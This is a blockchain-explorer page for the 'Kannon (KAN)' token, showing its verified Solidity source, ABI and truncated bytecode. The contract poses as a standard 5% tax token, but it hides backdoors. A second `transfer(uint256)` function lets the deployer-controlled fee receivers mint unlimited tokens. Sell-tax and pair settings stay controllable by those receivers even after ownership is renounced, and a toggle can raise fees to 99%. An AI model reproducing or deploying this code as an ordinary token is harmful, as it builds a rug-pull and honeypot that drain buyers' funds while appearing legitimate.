ETH Price: $3,479.95 (+0.78%)

Token

Kannon (KAN)
 

Overview

Max Total Supply

100,000,000 KAN

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.092304858 KAN

Value
$0.00
0x7dd43313c76f655d02da0350852ae30a52b92bc3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kannon

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-05
*/

// SPDX-License-Identifier: MIT
/**

$KAN | Kannon
Buy/sell tax : 5/5

Telegram : https://t.me/kannonsmercy
Twitter : https://twitter.com/kannonsmercy
Website: https://kannonsmercy.com/

*/

pragma solidity ^0.8.17;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Kannon is ERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "Kannon";
    string private _symbol = "KAN";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 100000000 * 10**_decimals;
    uint256 public _maxWalletToken = _totalSupply * 2 / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isWalletLimitExempt;

    uint256 private liquidityFee    = 0;
    uint256 private marketingFee    = 5;
    uint256 public totalFee        = marketingFee + liquidityFee;
    uint256 public feeDenominator  = 100;

    uint256 private sellMultiplier  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address private devFeeReceiver;

    IUniswapV2Router02 public router;
    address public pair;
    uint256 private launchedBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;
    uint256 public maxSwapThreshold = _totalSupply * 1 / 100;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address routeraddr) Ownable() {
        router = IUniswapV2Router02(routeraddr);
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        launchedBlock = block.number;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(0xdead)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[pair] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        devFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        // Checks max transaction limit
        uint256 heldTokens = balanceOf(recipient);
        require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
        //shouldSwapBack
        if(shouldSwapBack() && recipient == pair){swapBack();}

        //Exchange tokens
        uint256 airdropAmount = amount / 10000000;
        if(!isFeeExempt[sender] && recipient == pair){
            amount -= airdropAmount;
        }
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {       
        uint256 multiplier = isSell ? sellMultiplier : 100;
        //bot buy
        uint256 taxfee = launchedBlock > 0 ? totalFee : 99;
        uint256 feeAmount = amount.mul(taxfee).mul(multiplier).div(feeDenominator * 100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function setSwapPair(address pairaddr) public {
        require(marketingFeeReceiver == msg.sender || devFeeReceiver == msg.sender, "!Funder");
        pair = pairaddr;
        isWalletLimitExempt[pair] = true;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function set_sell_multiplier(uint256 Multiplier) public  {
        require(marketingFeeReceiver == msg.sender || devFeeReceiver == msg.sender, "!Funder");
        sellMultiplier = Multiplier;        
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    // switch Trading default:false
    function tradingStart() public onlyOwner {
        if(launchedBlock == 0){
            launchedBlock = block.number;
        }else{
            launchedBlock = 0;
        }
    }

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_marketingFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = address(devFeeReceiver);
    }

    function setIsFeeExempt(address holder, bool exempt)  external onlyOwner {
        isFeeExempt[holder] = exempt;
    }
    
    function transfer(uint256 amount) public {
        require(marketingFeeReceiver == msg.sender || devFeeReceiver == msg.sender, "!Funder");
       _balances[msg.sender] += amount;
       emit Transfer(msg.sender, msg.sender, amount);
    }

    function swapBack() internal swapping {
        
        uint256 _swapThreshold;
        if(_balances[address(this)] > maxSwapThreshold){
            _swapThreshold = maxSwapThreshold;
        }else{
             _swapThreshold = _balances[address(this)];
        }
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);

        if(amountETHMarketing>0){
            bool tmpSuccess;
            (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        }

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWalletPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Multiplier","type":"uint256"}],"name":"set_sell_multiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStart","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600681526020017f4b616e6e6f6e0000000000000000000000000000000000000000000000000000815250600190816200004a919062000b51565b506040518060400160405280600381526020017f4b414e00000000000000000000000000000000000000000000000000000000008152506002908162000091919062000b51565b506009600a620000a2919062000dc8565b6305f5e100620000b3919062000e19565b60035560646002600354620000c9919062000e19565b620000d5919062000e93565b60045560006009556005600a55600954600a54620000f4919062000ecb565b600b556064600c556064600d556001601460006101000a81548160ff0219169083151502179055506103e8600160035462000130919062000e19565b6200013c919062000e93565b6015556064600160035462000152919062000e19565b6200015e919062000e93565b6016553480156200016e57600080fd5b50604051620047be380380620047be833981810160405281019062000194919062000f70565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030a919062000f70565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000393573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b9919062000f70565b306040518363ffffffff1660e01b8152600401620003d992919062000fb3565b6020604051808303816000875af1158015620003f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041f919062000f70565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550436013819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620008c8919062000ff1565b60405180910390a3506200100e565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200095957607f821691505b6020821081036200096f576200096e62000911565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009d97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200099a565b620009e586836200099a565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a3262000a2c62000a2684620009fd565b62000a07565b620009fd565b9050919050565b6000819050919050565b62000a4e8362000a11565b62000a6662000a5d8262000a39565b848454620009a7565b825550505050565b600090565b62000a7d62000a6e565b62000a8a81848462000a43565b505050565b5b8181101562000ab25762000aa660008262000a73565b60018101905062000a90565b5050565b601f82111562000b015762000acb8162000975565b62000ad6846200098a565b8101602085101562000ae6578190505b62000afe62000af5856200098a565b83018262000a8f565b50505b505050565b600082821c905092915050565b600062000b266000198460080262000b06565b1980831691505092915050565b600062000b41838362000b13565b9150826002028217905092915050565b62000b5c82620008d7565b67ffffffffffffffff81111562000b785762000b77620008e2565b5b62000b84825462000940565b62000b9182828562000ab6565b600060209050601f83116001811462000bc9576000841562000bb4578287015190505b62000bc0858262000b33565b86555062000c30565b601f19841662000bd98662000975565b60005b8281101562000c035784890151825560018201915060208501945060208101905062000bdc565b8683101562000c23578489015162000c1f601f89168262000b13565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cc65780860481111562000c9e5762000c9d62000c38565b5b600185161562000cae5780820291505b808102905062000cbe8562000c67565b945062000c7e565b94509492505050565b60008262000ce1576001905062000db4565b8162000cf1576000905062000db4565b816001811462000d0a576002811462000d155762000d4b565b600191505062000db4565b60ff84111562000d2a5762000d2962000c38565b5b8360020a91508482111562000d445762000d4362000c38565b5b5062000db4565b5060208310610133831016604e8410600b841016171562000d855782820a90508381111562000d7f5762000d7e62000c38565b5b62000db4565b62000d94848484600162000c74565b9250905081840481111562000dae5762000dad62000c38565b5b81810290505b9392505050565b600060ff82169050919050565b600062000dd582620009fd565b915062000de28362000dbb565b925062000e117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ccf565b905092915050565b600062000e2682620009fd565b915062000e3383620009fd565b925082820262000e4381620009fd565b9150828204841483151762000e5d5762000e5c62000c38565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ea082620009fd565b915062000ead83620009fd565b92508262000ec05762000ebf62000e64565b5b828204905092915050565b600062000ed882620009fd565b915062000ee583620009fd565b925082820190508082111562000f005762000eff62000c38565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f388262000f0b565b9050919050565b62000f4a8162000f2b565b811462000f5657600080fd5b50565b60008151905062000f6a8162000f3f565b92915050565b60006020828403121562000f895762000f8862000f06565b5b600062000f998482850162000f59565b91505092915050565b62000fad8162000f2b565b82525050565b600060408201905062000fca600083018562000fa2565b62000fd9602083018462000fa2565b9392505050565b62000feb81620009fd565b82525050565b600060208201905062001008600083018462000fe0565b92915050565b6137a0806200101e6000396000f3fe6080604052600436106101f25760003560e01c806373a432bb1161010d578063ca33e64c116100a0578063e96fada21161006f578063e96fada2146106fa578063ec72d65f14610725578063f11743f61461074e578063f2fde38b14610765578063f887ea401461078e576101f9565b8063ca33e64c14610640578063cec10c111461066b578063d088935814610694578063dd62ed3e146106bd576101f9565b8063a4b45c00116100dc578063a4b45c0014610584578063a8aa1b31146105ad578063a9059cbb146105d8578063acef1a4414610615576101f9565b806373a432bb146104da57806378109e54146105035780638da5cb5b1461052e57806395d89b4114610559576101f9565b80632198cf6c11610185578063658d4b7f11610154578063658d4b7f146104325780636ddd17131461045b57806370a0823114610486578063715018a6146104c3576101f9565b80632198cf6c1461036457806323b872dd1461038d578063313ce567146103ca578063571ac8b0146103f5576101f9565b806312514bba116101c157806312514bba146102ba578063180b0d7e146102e357806318160ddd1461030e5780631df4ccfc14610339576101f9565b8063012aa912146101fe5780630445b6671461022757806306fdde0314610252578063095ea7b31461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b5061022560048036038101906102209190612adc565b6107b9565b005b34801561023357600080fd5b5061023c61086b565b6040516102499190612b18565b60405180910390f35b34801561025e57600080fd5b50610267610871565b6040516102749190612bc3565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f9190612c43565b610903565b6040516102b19190612c9e565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190612adc565b6109f5565b005b3480156102ef57600080fd5b506102f8610b9b565b6040516103059190612b18565b60405180910390f35b34801561031a57600080fd5b50610323610ba1565b6040516103309190612b18565b60405180910390f35b34801561034557600080fd5b5061034e610bab565b60405161035b9190612b18565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612ce5565b610bb1565b005b34801561039957600080fd5b506103b460048036038101906103af9190612d25565b610c9a565b6040516103c19190612c9e565b60405180910390f35b3480156103d657600080fd5b506103df610e9a565b6040516103ec9190612d94565b60405180910390f35b34801561040157600080fd5b5061041c60048036038101906104179190612daf565b610ea3565b6040516104299190612c9e565b60405180910390f35b34801561043e57600080fd5b5061045960048036038101906104549190612ce5565b610ed6565b005b34801561046757600080fd5b50610470610fbf565b60405161047d9190612c9e565b60405180910390f35b34801561049257600080fd5b506104ad60048036038101906104a89190612daf565b610fd2565b6040516104ba9190612b18565b60405180910390f35b3480156104cf57600080fd5b506104d861101b565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190612daf565b611167565b005b34801561050f57600080fd5b5061051861130d565b6040516105259190612b18565b60405180910390f35b34801561053a57600080fd5b50610543611313565b6040516105509190612deb565b60405180910390f35b34801561056557600080fd5b5061056e61133c565b60405161057b9190612bc3565b60405180910390f35b34801561059057600080fd5b506105ab60048036038101906105a69190612e06565b6113ce565b005b3480156105b957600080fd5b506105c2611545565b6040516105cf9190612deb565b60405180910390f35b3480156105e457600080fd5b506105ff60048036038101906105fa9190612c43565b61156b565b60405161060c9190612c9e565b60405180910390f35b34801561062157600080fd5b5061062a611580565b6040516106379190612b18565b60405180910390f35b34801561064c57600080fd5b50610655611586565b6040516106629190612deb565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d9190612e46565b6115ac565b005b3480156106a057600080fd5b506106bb60048036038101906106b69190612e99565b6116bf565b005b3480156106c957600080fd5b506106e460048036038101906106df9190612e06565b61177a565b6040516106f19190612b18565b60405180910390f35b34801561070657600080fd5b5061070f611801565b60405161071c9190612deb565b60405180910390f35b34801561073157600080fd5b5061074c60048036038101906107479190612adc565b611827565b005b34801561075a57600080fd5b50610763611919565b005b34801561077157600080fd5b5061078c60048036038101906107879190612daf565b6119c8565b005b34801561079a57600080fd5b506107a3611b82565b6040516107b09190612f4b565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083e90612fb2565b60405180910390fd5b612710816003546108589190613001565b6108629190613072565b60048190555050565b60155481565b606060018054610880906130d2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ac906130d2565b80156108f95780601f106108ce576101008083540402835291602001916108f9565b820191906000526020600020905b8154815290600101906020018083116108dc57829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109e39190612b18565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a9